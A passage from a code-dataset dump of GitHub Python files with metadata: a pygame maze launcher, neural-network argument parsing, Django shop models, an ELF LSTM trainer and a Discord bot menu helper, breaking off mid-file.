966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "18415206789", "text": "\"\"\" MAIN PROGRAM FOR MCGYVER MAZE \"\"\"\n\nimport sys\nimport configparser\nimport pygame\nfrom classes.game import Game\n\n\ndef main():\n    \"\"\" Main function \"\"\"\n    pygame.init()\n    pygame.font.init()\n\n    config = configparser.ConfigParser()\n    config.read(\"mcgyver.conf\")\n\n    if \"McGyver\" not in config.sections():\n        print(\"Please check your config file.\")\n        sys.exit(-1)\n    else:\n        my_conf = config[\"McGyver\"]\n        defaults = {\n            \"lines\": 15,\n            \"cols\": 15,\n            \"sprite_size\": 20,\n            \"num_objects\": 5,\n            \"density\": 0.75,\n            \"complexity\": 0.5,\n        }\n\n        for key, default_value in defaults.items():\n            value = my_conf.get(key)\n            if not value:\n                continue\n\n            value_type = type(default_value)\n            defaults[key] = value_type(value)\n\n        window_size = (\n            (defaults[\"lines\"]+1) * defaults[\"sprite_size\"],\n            (defaults[\"cols\"]+1) * defaults[\"sprite_size\"],\n        )\n        window = pygame.display.set_mode(window_size)\n\n        game = Game(window, **defaults)\n        game.run()\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "timoguic/py-mcgrutor", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1172, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.font.init", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 12, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 43, "usage_type": "attribute"}, {"api_name": "classes.game.Game", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "35890649218", "text": "import wandb\nimport argparse\nimport tensorflow as tf\n\ndef get_hyperparams():\n    args = get_args().parse_args()\n    # general parameters for data\n    data_directory = args.data_directory\n    validate_flag = args.validate\n    splits = args.splits\n    scaling = args.scaling\n    dataset = args.dataset\n    exp_num = args.specific_exp_num\n    run_autoencoder = args.run_autoencoder\n    run_single_trials = args.run_single_trials\n    run_artificial = args.run_artificial\n    run_tiago_data = args.run_tiago_data\n    run_PCA = args.run_PCA\n    threshold_percentile = args.threshold_percentile\n    threshold_for_minimum_activity = args.threshold_for_minimum_activity\n    drop_cells = args.drop_cells\n    general_parameters = {'data_directory': data_directory, 'validate_flag': validate_flag, 'splits': splits, 'scaling': scaling, 'dataset': dataset, 'exp_num': exp_num,\n                          'run_autoencoder': run_autoencoder, 'run_single_trials': run_single_trials,\n                          'run_artificial': run_artificial, 'threshold_percentile': threshold_percentile, 'threshold_for_minimum_activity': threshold_for_minimum_activity,\n                          'drop_cells': drop_cells, 'run_tiago_data': run_tiago_data, 'run_PCA': run_PCA}\n\n    # for MLP ----------------------------------------------------->\n    mlp_epochs = args.mlp_epochs\n    mlp_batch_size = args.mlp_batch_size\n    mlp_learning_rate = args.mlp_learning_rate\n    mlp_reg = args.mlp_reg\n    mlp_optimizer = args.mlp_optimizer\n    mlp_batch_norm = args.mlp_batch_norm\n    if mlp_optimizer == 'SGD':\n        mlp_optimizer = tf.keras.optimizers.SGD(learning_rate=mlp_learning_rate, momentum=0.9)\n    elif mlp_optimizer == 'Adam':\n        mlp_optimizer = tf.keras.optimizers.Adam(learning_rate=mlp_learning_rate)\n    elif mlp_optimizer == 'Adagrad':\n        mlp_optimizer = tf.keras.optimizers.Adagrad(learning_rate=mlp_learning_rate)\n    mlp_parameters = {'mlp_epochs': mlp_epochs, 'mlp_batch_size': mlp_batch_size, 'mlp_reg': mlp_reg, 'mlp_learning_rate': mlp_learning_rate, 'mlp_optimizer': mlp_optimizer,\n                      'mlp_batch_norm': mlp_batch_norm}\n\n    # for VAE --------------------------------------------------------->\n    autoencoder_latent_dim = args.autoencoder_latent_dim\n    autoencoder_batch_size = args.autoencoder_batch_size\n    autoencoder_reg = args.autoencoder_reg\n    autoencoder_learning_rate = args.autoencoder_learning_rate\n    autoencoder_epochs = args.autoencoder_epochs\n    autoencoder_batch_layers_flag = args.autoencoder_batch_layers_flag\n    autoencoder_run_embedding = args.autoencoder_run_embedding\n    single_trials_batch_size = args.single_trials_batch_size\n    single_trials_reg = args.single_trials_reg\n    single_trials_learning_rate = args.single_trials_learning_rate\n    single_trials_epochs = args.single_trials_epochs\n    autoencoder_optimizer = args.autoencoder_optimizer\n    vae_latent_reg_flag = args.vae_latent_reg_flag\n    autoencoder_type_of_loss = args.autoencoder_type_of_loss\n    lstm_sequence_length = args.lstm_sequence_length\n    run_LSTM = args.run_LSTM\n    run_mlp = args.run_mlp\n    autoencoder_parameters = {'autoencoder_optimizer': autoencoder_optimizer, 'autoencoder_latent_dim': autoencoder_latent_dim,\n                      'autoencoder_batch_size': autoencoder_batch_size, 'autoencoder_reg': autoencoder_reg, 'autoencoder_learning_rate': autoencoder_learning_rate,\n                      'autoencoder_epochs': autoencoder_epochs, 'single_trials_batch_size': single_trials_batch_size, 'single_trials_reg': single_trials_reg,\n                      'single_trials_learning_rate': single_trials_learning_rate, 'single_trials_epochs': single_trials_epochs, 'vae_latent_reg_flag': vae_latent_reg_flag,\n                              'autoencoder_type_of_loss': autoencoder_type_of_loss, 'autoencoder_batch_layers_flag': autoencoder_batch_layers_flag, 'autoencoder_run_embedding': autoencoder_run_embedding,\n                              'lstm_sequence_length': lstm_sequence_length, 'run_LSTM': run_LSTM, 'run_mlp': run_mlp}\n\n    # for artificial simulation\n    num_cells = args.num_cells\n    num_time_bins = args.num_time_bins\n    stim_duration = args.stim_duration\n    gap_until_next = args.gap_until_next\n    different_classes = args.different_classes\n    tuned_cell_range = args.tuned_cell_range\n    delay_after_stim = args.delay_after_stim\n    imaging_rate = args.imaging_rate\n    synaptic_delay = args.synaptic_delay\n    data_split = args.data_split\n    single_gen_branching = args.single_gen_branching\n    random_branching = args.random_branching\n    num_of_initial_cell_activations = args.num_of_initial_cell_activations\n    branching_after_how_many_gen = args.branching_after_how_many_gen\n    ensemble_level_temporal_profile = args.ensemble_level_temporal_profile\n    spike_rate_of_neurons = args.spike_rate_of_neurons\n    vary_spike_rate = args.vary_spike_rate\n    random_event_prob = args.random_event_prob\n    spatial_spread_of_random_events = args.spatial_spread_of_random_events\n    add_random_events = args.add_random_events\n    artificial_parameters = {'num_cells': num_cells, 'num_time_bins': num_time_bins, 'stim_duration': stim_duration, 'gap_until_next': gap_until_next, 'different_classes': different_classes,\n                         'tuned_cell_range': tuned_cell_range, 'delay_after_stim': delay_after_stim, 'imaging_rate': imaging_rate, 'synaptic_delay': synaptic_delay, 'data_split': data_split,\n                         'single_gen_branching': single_gen_branching, 'random_branching': random_branching, 'num_of_initial_cell_activations': num_of_initial_cell_activations,\n                         'branching_after_how_many_gen': branching_after_how_many_gen, 'ensemble_level_temporal_profile': ensemble_level_temporal_profile, 'spike_rate_of_neurons': spike_rate_of_neurons,\n                         'vary_spike_rate': vary_spike_rate, 'random_event_prob': random_event_prob, 'spatial_spread_of_random_events': spatial_spread_of_random_events,\n                             'add_random_events': add_random_events}\n\n    return general_parameters, mlp_parameters, autoencoder_parameters, artificial_parameters\n\n\ndef get_args():\n    parser = argparse.ArgumentParser(description=\"Parameters For Neural Nets\")\n\n    # general parameters for data\n    parser.add_argument('--data_directory', type=list, default=[r\"/Users/ankushgupta/Documents/tiago_data/3143_1\", r'/Users/ankushgupta/Documents/tiago_data/3143_2',\n                                                                r'/Users/ankushgupta/Documents/tiago_data/6742'], help='directories for data')\n    parser.add_argument('--validate', type=bool, default=False, help='whether to split into validate or not')\n    parser.add_argument('--splits', nargs='+', default=[0.9, 0.1], help='actual splitting data')\n    parser.add_argument('--scaling', type=str, default='MaxAbsScaler', help='how to normalize data')\n    parser.add_argument('--dataset', nargs='+', default=['Full'], help='which portion of recording to run neural net on')\n    parser.add_argument('--specific_exp_num', type=int, default=0, help='# for experiment within array')\n    parser.add_argument('--threshold_percentile', type=float, default=0, help='will make the bottom percentage specified = to 0... considers it noise')\n    parser.add_argument('--threshold_for_minimum_activity', type=float, default=0.01, help='will take average activity throughout entire recording')\n    parser.add_argument('--drop_cells', type=bool, default=False, help='whether or not to drop least active cells based on threshold above')\n\n    # which structures to run\n    parser.add_argument('--run_autoencoder', type=bool, default=True, help='Whether or not to run VAE')\n    parser.add_argument('--run_single_trials', type=bool, default=False, help='whether or not to run set of functions for single trial passes on full sim data')\n    parser.add_argument('--run_artificial', type=bool, default=False, help='whether or not to rnu the artificial data')\n    parser.add_argument('--run_tiago_data', type=bool, default=True, help='whether or not to run experimental data')\n    parser.add_argument('--run_PCA', type=bool, default=False, help='whether or not to run experimental data')\n\n    # for MLP\n    parser.add_argument('--mlp_params', nargs='+', default=['learning_rate'], help='whether or not to do hyperparam tuning for VAE')\n    parser.add_argument('--mlp_batch_size', nargs='+', default=1000, help='batch size')\n    parser.add_argument('--mlp_reg', nargs='+', default=0.001, help='regularization lambda')\n    parser.add_argument('--mlp_learning_rate', type=float, default=0.0008, help='learn rate')\n    parser.add_argument('--mlp_epochs', nargs='+', default=500, help='number of epochs to train')\n    parser.add_argument('--mlp_optimizer', type=str, default='Adam', help='optimizer for loss function')\n    parser.add_argument('--mlp_batch_norm', type=str, default='False', help='whether or not to add batchnorm layers')\n\n    # for Autoencoder\n    parser.add_argument('--autoencoder_latent_dim', type=int, default=[2, 3, 10, 20, 50, 100, 200], help='whether or not to plot latent space')\n    parser.add_argument('--autoencoder_optimizer', type=str, default='Adam', help='optimizer for loss function')\n    parser.add_argument('--autoencoder_batch_size', type=int, default=20, help='batch size')\n    parser.add_argument('--autoencoder_learning_rate', type=int, default=0.0005, help='learning rate')\n    parser.add_argument('--autoencoder_reg', type=int, default=0.001, help='traditional activity regularization applied to each layer')\n    parser.add_argument('--autoencoder_epochs', nargs='+', default=[200, 5000, 100], help='epochs --> if more than one, then the different epochs are for the different recording periods, if float, then early stop at that classification accuracy')\n    parser.add_argument('--autoencoder_type_of_loss', type=str, default='only_reconstruction', help='type of loss for autoencoder optimization')\n    parser.add_argument('--autoencoder_batch_layers_flag', type=bool, default=False, help='whether or not to have batch normalization layers')\n    parser.add_argument('--vae_latent_reg_flag', type=bool, default=False, help='whether or not to do latent regularization for variational autoencoder, otherwise normal autoencoder ran')\n    parser.add_argument('--autoencoder_run_embedding', type=bool, default=False, help='whether or not to do embedding for the class labels')\n    parser.add_argument('--run_mlp', type=bool, default=False, help='whether or not to run MLP for classification')\n    parser.add_argument('--run_LSTM', type=bool, default=True, help='Whether or not to run LSTM')\n    parser.add_argument('--lstm_sequence_length', type=int, default=15, help='the length of the sequence for LSTM')\n    # for single trials module --> parameters for doing the single trials trajectories\n    parser.add_argument('--single_trials_batch_size', type=int, default=2, help='batch size for single trial passes')\n    parser.add_argument('--single_trials_learning_rate', type=int, default=0.00005, help='learning rate for the single trial passes')\n    parser.add_argument('--single_trials_reg', type=int, default=0.01, help='reg strength for single trial passes')\n    parser.add_argument('--single_trials_epochs', type=int, default=20, help='epochs for single trial passes')\n\n    # for simulation\n    parser.add_argument('--num_cells', type=int, default=200, help='number of cells for simulated network')\n    parser.add_argument('--num_time_bins', type=int, default=70000, help='number of separate timebins in recording')\n    parser.add_argument('--stim_duration', type=int, default=1, help='duration in seconds for stimulus presentation')\n    parser.add_argument('--gap_until_next', type=int, default=7, help='duration in seconds between stimulus presentation and next trial')\n    parser.add_argument('--different_classes', type=int, default=8, help='number of different stimulus classes')\n    parser.add_argument('--tuned_cell_range', nargs='+', default=[0.05, 0.3], help='range for proportion of total cells in network that will be tuned towards each stimulus class')\n    parser.add_argument('--delay_after_stim', type=float, default=0.1, help='delay between first network response and stimulus presentation')\n    parser.add_argument('--imaging_rate', type=float, default=45.0, help='imaging rate or mapping between frames/time bins and seconds or real time')\n    parser.add_argument('--synaptic_delay', type=float, default=0.1, help='delay for information transfer between nodes in network')\n    parser.add_argument('--data_split', nargs='+', default=[0.6, 0.4], help='how to split the simulated dataset into train / validation / test splits')\n    parser.add_argument('--single_gen_branching', type=bool, default=True, help='whether initially activated cells branch or coactivate two neurons to create two branches that are feedforward')\n    parser.add_argument('--random_branching', type=bool, default=False, help='whether or not there is random branching in the network')\n    parser.add_argument('--num_of_initial_cell_activations', nargs='+', default=[0.05, 0.2], help='proportion of initial activations of determined tuned cells')\n    parser.add_argument('--branching_after_how_many_gen', type=int, default=1, help='branching occurs at a fixed interval')\n    parser.add_argument('--ensemble_level_temporal_profile', type=str, default='hold', help='specifies higher level temporal relationship')\n    parser.add_argument('--spike_rate_of_neurons', type=int, default=10, help='number of action potentials / stim duration')\n    parser.add_argument('--vary_spike_rate', type=str, default='hold', help='vary spike rate')\n    parser.add_argument('--random_event_prob', type=float, default=0.01, help='specifies random event probability or lambda for poisson')\n    parser.add_argument('--spatial_spread_of_random_events', nargs='+', default=[0.1, 0.5], help='spatial spread of random events or how many neurons are effected by the event')\n    parser.add_argument('--add_random_events', type=bool, default=True, help='add poisson distributed random events or spikes ')\n    return parser\n", "repo_name": "ankushgpta2/Vision2DeepManifold", "sub_path": "handle_inputs.py", "file_name": "handle_inputs.py", "file_ext": "py", "file_size_in_byte": 14159, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tensorflow.keras.optimizers.SGD", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adagrad", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 100, "usage_type": "call"}]}
{"seq_id": "23338178562", "text": "from django.db import models\nfrom django.contrib.auth.models import User\n\nfrom django.dispatch import receiver\nfrom django.db.models.signals import post_save, pre_save\nfrom django.core.validators import MaxValueValidator, MinValueValidator\n\n\nclass Product(models.Model):\n    QUALITY = (\n        (\"ordanry\",\"ODDIY\"),\n        (\"midle\",\"O'RTACHA\"),\n        (\"good\",\"SIFATLI\"),\n    )\n    name = models.CharField(max_length=200)\n    material_type = models.ForeignKey(\"main.MaterialTypes\", on_delete=models.SET_NULL, blank=True, null=True)\n    category = models.ForeignKey(\"main.Categories\", on_delete=models.PROTECT)\n    quality = models.CharField(choices=QUALITY, max_length=20)\n    info = models.TextField(blank=True)\n\n    image = models.FileField(upload_to=\"product_images/base_images/\")\n    image1 = models.FileField(upload_to=\"product_images/images/\")\n    image2 = models.FileField(upload_to=\"product_images/images/\")\n    image3 = models.FileField(upload_to=\"product_images/images/\")\n\n    rating = models.PositiveSmallIntegerField(default=0)\n    price = models.PositiveIntegerField(blank=True, null=True)\n    discount_price = models.PositiveIntegerField(blank=True, null=True)\n    rate_users = models.ManyToManyField(User, blank=True)\n\n    def __str__(self):\n        return self.name\n\n\nclass Categories(models.Model):\n    name = models.CharField(max_length=150)\n    icon = models.FileField(upload_to=\"category_icons\", blank=True, null=True)\n\n    def __str__(self):\n        return self.name\n\n\nclass MaterialTypes(models.Model):\n    name = models.CharField(max_length=200)\n    image = models.FileField(upload_to=\"material_images\")\n    color = models.TextField(blank=True, null=True)\n\n    def __str__(self):\n        return self.name\n\n\nclass Reviews(models.Model):\n    user = models.ForeignKey(User, on_delete=models.CASCADE)\n    product = models.ForeignKey(Product, on_delete=models.CASCADE, related_name='reviews')\n    star = models.PositiveSmallIntegerField(validators=[MaxValueValidator(5), MinValueValidator(1)])\n    comment = models.TextField(blank=True)\n\n    def __str__(self):\n        return self.user.username\n\nfrom django.db.models import Avg\nfrom django.http import HttpResponseForbidden\n\n@receiver(post_save, sender=Reviews)\ndef update_product_star(sender, instance, created, *args, **kwargs):\n    product = Product.objects.get(id=instance.product.id)\n    if instance.user in product.rate_users.all():\n        instance.delete()\n    else:\n        product.rate_users.add(instance.user)\n        product.save()\n        rating = Reviews.objects.aggregate(Avg('star'))\n        product.rating = float(rating['star__avg'])\n        product.save()", "repo_name": "Abdulhamid51/MEBEL", "sub_path": "main/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2645, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.models.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 29, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 43, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 44, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 52, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 52, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 53, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 53, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 53, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 54, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 54, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 54, "usage_type": "attribute"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.core.validators.MaxValueValidator", "line_number": 55, "usage_type": "call"}, {"api_name": "django.core.validators.MinValueValidator", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.models.TextField", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 56, "usage_type": "name"}, {"api_name": "django.db.models.Avg", "line_number": 72, "usage_type": "call"}, {"api_name": "django.dispatch.receiver", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models.signals.post_save", "line_number": 64, "usage_type": "argument"}]}
{"seq_id": "13180039160", "text": "from datetime import datetime\n\nimport torch\nfrom torch.autograd import Variable\n\nfrom elf.options import auto_import_options, PyOptionSpec\nfrom ..stats import Stats\nfrom ..utils import HistState\nfrom .utils import ModelSaver, MultiCounter\n\n\nclass LSTMTrainer(object):\n    @classmethod\n    def get_option_spec(cls):\n        spec = PyOptionSpec()\n        spec.addIntOption(\n            'freq_update',\n            'frequency of model update',\n            1)\n        spec.addIntOption(\n            'num_games',\n            'number of games',\n            1024)\n        spec.addIntOption(\n            'batchsize',\n            'batch size',\n            128)\n        spec.addIntOption(\n            'gpu',\n            'which GPU to use',\n            -1)\n        spec.addIntOption(\n            'T',\n            'number of timestamps',\n            6)\n        spec.addStrOption(\n            'parsed_args',\n            'dummy option',\n            '')\n\n        spec.merge(Stats.get_option_spec('trainer'))\n        spec.merge(ModelSaver.get_option_spec())\n\n        return spec\n\n    @auto_import_options\n    def __init__(self, option_map, verbose=False):\n        self.stats = Stats(option_map, \"trainer\")\n        self.saver = ModelSaver(option_map)\n        self.counter = MultiCounter()\n\n        # [TODO] Hard coded now, need to fix.\n        num_hiddens = 13 * 25\n\n        gpu = self.options.gpu\n        assert gpu is not None and gpu >= 0\n\n        def init_state():\n            return torch.FloatTensor(num_hiddens).cuda(gpu).zero_()\n\n        self.hs = HistState(self.options.T, init_state)\n        self.stats.reset()\n\n    def episode_start(self, i):\n        pass\n\n    def actor(self, batch):\n        self.counter.inc(\"actor\")\n\n        ids = batch[\"id\"][0]\n        seqs = batch[\"seq\"][0]\n\n        self.hs.preprocess(ids, seqs)\n        hiddens = Variable(self.hs.newest(ids, 0))\n\n        m = self.mi[\"actor\"]\n        m.set_volatile(True)\n        state_curr = m(batch.hist(0), hiddens)\n        m.set_volatile(False)\n\n        reply_msg = self.sampler.sample(state_curr)\n        reply_msg[\"rv\"] = self.mi[\"actor\"].step\n\n        next_hiddens = m.transition(state_curr[\"h\"], reply_msg[\"a\"])\n\n        self.hs.feed(ids, next_hiddens.data)\n\n        self.stats.feed_batch(batch)\n        return reply_msg\n\n    def train(self, batch):\n        self.counter.inc(\"train\")\n        mi = self.mi\n\n        ids = batch[\"id\"][0]\n        T = batch[\"s\"].size(0)\n\n        hiddens = self.hs.newest(ids, T - 1)\n\n        mi.zero_grad()\n        self.rl_method.update(mi, batch, hiddens, self.counter.stats)\n        mi.update_weights()\n\n        if self.counter.counts[\"train\"] % self.options.freq_update == 0:\n            mi.update_model(\"actor\", mi[\"model\"])\n\n    def episode_summary(self, i):\n        prefix = \"[%s][%d] Iter\" % (\n            str(datetime.now()), self.options.batchsize) + \"[%d]: \" % i\n        print(prefix)\n        if self.counter.counts[\"train\"] > 0:\n            self.saver.feed(self.mi[\"model\"])\n\n        print(\n            \"Command arguments:\", ' '.join(map(str, self.options.parsed_args)))\n        self.counter.summary(global_counter=i)\n        print(\"\")\n\n        self.stats.print_summary()\n        if self.stats.count_completed() > 10000:\n            self.stats.reset()\n\n    def setup(self, rl_method=None, mi=None, sampler=None):\n        self.rl_method = rl_method\n        self.mi = mi\n        self.sampler = sampler\n", "repo_name": "pytorch/ELF", "sub_path": "src_py/rlpytorch/trainer/lstm_trainer.py", "file_name": "lstm_trainer.py", "file_ext": "py", "file_size_in_byte": 3398, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3325, "dataset": "github-code", "pt": "81", "api": [{"api_name": "elf.options.PyOptionSpec", "line_number": 15, "usage_type": "call"}, {"api_name": "stats.Stats.get_option_spec", "line_number": 41, "usage_type": "call"}, {"api_name": "stats.Stats", "line_number": 41, "usage_type": "name"}, {"api_name": "utils.ModelSaver.get_option_spec", "line_number": 42, "usage_type": "call"}, {"api_name": "utils.ModelSaver", "line_number": 42, "usage_type": "name"}, {"api_name": "stats.Stats", "line_number": 48, "usage_type": "call"}, {"api_name": "utils.ModelSaver", "line_number": 49, "usage_type": "call"}, {"api_name": "utils.MultiCounter", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 59, "usage_type": "call"}, {"api_name": "utils.HistState", "line_number": 61, "usage_type": "call"}, {"api_name": "elf.options.auto_import_options", "line_number": 46, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 109, "usage_type": "name"}]}
{"seq_id": "44113887750", "text": "\"\"\"\n\n\n\"\"\"\n\nimport asyncio\nimport logging\nfrom dataclasses import dataclass, field\nfrom typing import TYPE_CHECKING, Optional, Dict, List, Union, Tuple, NamedTuple, Callable, Any\n\nimport discord\nfrom discord.ext import commands\n\n\n\nclass DiscordPermissionsError(Exception):\n    pass\n\n\nclass CannotAddReactions(DiscordPermissionsError):\n    def __init__(self):\n        super().__init__(f\"Insufficient permissions to add reactions to user interface!\\n\"\n                         f\"Please have an admin add the **Add Reactions** and **Read Message History** permissions to this bot and make sure that the channel you are using commands in is configured to allow those permissions as well.\")\n\n\nclass CannotEmbedLinks(DiscordPermissionsError):\n    def __init__(self):\n        super().__init__('Bot does not have embed links permission in this channel.')\n\n\nclass CannotSendMessages(DiscordPermissionsError):\n    def __init__(self):\n        super().__init__('Bot cannot send messages in this channel.')\n\n\nclass CannotAddExtenalReactions(DiscordPermissionsError):\n    def __init__(self):\n        super().__init__(f\"Gabby Gums is missing the **Use External Emojis** Permission!\\n\"\n                         f\"Please have an admin add the **Use External Emojis** permissions to this bot and make sure that the channel you are using commands in is configured to allow External Emojis as well.\")\n\n\n\nasync def do_nothing(*args, **kwargs):\n    pass\n\n\n@dataclass\nclass PageResponse:\n    \"\"\"Data Storage class for returning the user response (if any) and the UI Message(es) that the Page sent out.\"\"\"\n    response: Optional[Any]\n    ui_message: Optional[discord.Message]\n    # user_messages: List[discord.Message] = field(default_factory=[])\n\n    def __str__(self):\n        return str(self.content())\n\n    def content(self):\n        if isinstance(self.response, str):\n            return self.response\n        elif isinstance(self.response, discord.Message):\n            return self.response.content\n        else:\n            return self.response\n\n    def c(self):\n        return self.content()\n\n\nclass Page:\n    \"\"\"\n    An interactive form that can be interacted with in a variety of ways including Boolean reaction, string input, non-interactive response message, soon to be more.\n    Calls a Callback with the channel and response data to enable further response and appropriate handling of the data.\n    \"\"\"\n    LOG = logging.getLogger(\"GGBot.Page\")\n\n    def __init__(self, page_type: str, name: Optional[str] = None, body: Optional[str] = None,\n                 callback: Callable = do_nothing, additional: str = None, embed: Optional[discord.Embed] = None, previous_msg: Optional[Union[discord.Message, PageResponse]] = None, timeout: int = 120.0):\n\n        self.name = name\n        self.body = body\n        self.additional = additional\n        self.embed = embed\n        self.timeout = timeout\n\n        self.page_type = page_type.lower()\n        self.callback = callback\n        self.prev = previous_msg.ui_message if isinstance(previous_msg, PageResponse) else previous_msg\n\n        self.response = None\n        self.page_message: Optional[discord.Message] = None\n        self.user_message: Optional[discord.Message] = None\n\n    async def run(self, ctx: commands.Context):\n        pass\n\n    def construct_std_page_msg(self) -> str:\n        page_msg = \"\"\n        if self.name is not None:\n            page_msg += \"**{}**\\n\".format(self.name)\n\n        if self.body is not None:\n            page_msg += \"{}\\n\".format(self.body)\n\n        if self.additional is not None:\n            page_msg += \"{}\\n\".format(self.additional)\n\n        # self.page_message = page_message\n        return page_msg\n\n    @staticmethod\n    async def cancel(ctx, self):\n        await self.remove()\n        await ctx.send(\"Canceled!\")\n\n    async def remove(self, user: bool = True, page: bool = True):\n\n        # if self.previous is not None:\n        #     await self.previous.remove(user, page)\n\n        try:\n            if user and self.user_message is not None:\n                await self.user_message.delete(delay=1)\n        except Exception:\n            pass\n\n        try:\n            if page and self.page_message is not None:\n                await self.page_message.delete(delay=1)\n        except Exception:\n            pass\n\n\nclass BoolPage(Page):\n\n    def __init__(self, name: Optional[str] = None, body: Optional[str] = None,\n                 callback: Callable = do_nothing, additional: str = None, embed: Optional[discord.Embed] = None, previous_msg: Optional[Union[discord.Message, PageResponse]] = None, timeout: int = 120.0):\n        \"\"\"\n        Callback signature: page: reactMenu.Page, _client: commands.Bot, ctx: commands.Context, response: bool\n        \"\"\"\n        self.ctx = None\n        self.match = None\n        self.canceled = False\n\n        super().__init__(page_type=\"n/a\", name=name, body=body, callback=callback, additional=additional, embed=embed, previous_msg=previous_msg, timeout=timeout)\n\n    async def run(self, ctx: commands.Context):\n        \"\"\"\n        Callback signature: page: reactMenu.Page, _client: commands.Bot, ctx: commands.Context, 